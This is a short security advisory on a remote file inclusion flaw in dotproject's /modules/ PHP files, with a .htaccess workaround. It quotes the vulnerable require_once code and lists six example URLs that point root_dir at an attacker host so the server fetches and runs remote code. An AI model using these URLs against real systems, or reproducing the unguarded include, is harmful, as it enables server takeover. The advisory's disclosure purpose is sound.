      dotproject Remote Code Execution Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.dotproject.net/> dotproject is a PHP+MySQL beta level web
    based project management tool that dotmarketing started in Dec. 2000.
    Inside the directory /modules/ multiple files try to include
    classdefs/date.php without defining $root_dir first and allow remote
    attackers to inject their own servers if globals are set on.

    DETAILS

    Example Code from modules/projects/addedit.php:

    ******
    <?php
    ##
    ## Files modules: index page re-usable sub-table
    ##

    require_once( "$root_dir/classdefs/date.php" );
    $df = $AppUI->getPref('SHDATEFORMAT');
    $tf = $AppUI->getPref('TIMEFORMAT');

    ******

    As you can see, nothing happens before the require_once function is called
    and therefore with globals set on an attacker may include remote files.

    Example:
    http://victim/dotproject/modules/files/index_table.php?root_dir=http://attacker

    This works also on
    http://victim/dotproject/modules/projects/addedit.php?root_dir=http://attacker
    http://victim/dotproject/modules/projects/view.php?root_dir=http://attacker
    http://victim/dotproject/modules/projects/vw_files.php?root_dir=http://attacker
    http://victim/dotproject/modules/tasks/addedit.php?root_dir=http://attacker
    http://victim/dotproject/modules/tasks/viewgantt.php?root_dir=http://attacker

    Solution:
    Please check the vendor's website for new patches. As a temporary
    solution, create a .htaccess file that contains 'Deny from all'. Place it
    in the /modules/ directory and that should block remote users from
    accessing it.
